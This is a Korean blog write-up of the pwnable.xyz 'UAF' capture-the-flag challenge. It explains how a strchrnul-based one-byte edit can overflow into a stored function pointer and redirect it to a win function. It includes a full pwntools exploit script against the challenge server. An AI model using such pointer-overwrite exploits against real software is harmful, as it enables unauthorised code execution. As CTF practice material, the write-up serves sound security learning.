본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / UAF

mtigation
main

  • 게임 실행
  • 게임 저장
  • 저장한 게임 삭제
  • 이름 수정

 

edit_char

이름을 수정할 수 있는 기능을 보면 원하는 문자를 1byte 변경이 가능하다

이때 strchrnul함수를 호출하는데 해당 함수는 문자열에서 인자를 받아 포인터를 반환한다

만약 찾는 문자가 문자열에 없으면 문자열 끝에 널 바이트가 있는 주소를 반환하게 된다

이걸 통해 calc(게임)함수가 있는 곳까지 overflow낸뒤 2byte를 바꿔 win함수로 만들어 주고 게임을 실행시켜 플래그를 얻으면 된다

 

from pwn import *

p = remote("svc.pwnable.xyz", 30015)
#p = process("./uaf")

def change_char(ch_char, new_char):
    p.recvuntil(b"> ")
    p.sendline(b"5")
    p.recvuntil(b"replace: ")
    p.sendline(ch_char)
    p.recvuntil(b"char: ")
    p.sendline(new_char)

calc = [b"\x0d", b"\x6b"]
win = [b"\x0c", b"\xf3"]

payload = b"A" * 0x7f
p.recvuntil(b"Name: ")
p.send(payload)

for i in range(5):
    change_char(b"z", b"A")

change_char(calc[0], win[0])
change_char(calc[1], win[1])

p.recvuntil(b"> ")
p.sendline(b"1")

p.interactive()

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / rwsr  (0) 2022.05.20
pwnable.xyz / message  (0) 2022.05.20
pwnable.xyz / iape  (0) 2022.05.19
pwnable.xyz / strcat  (0) 2022.05.18
pwnable.xyz / J-U-M-P  (0) 2022.05.15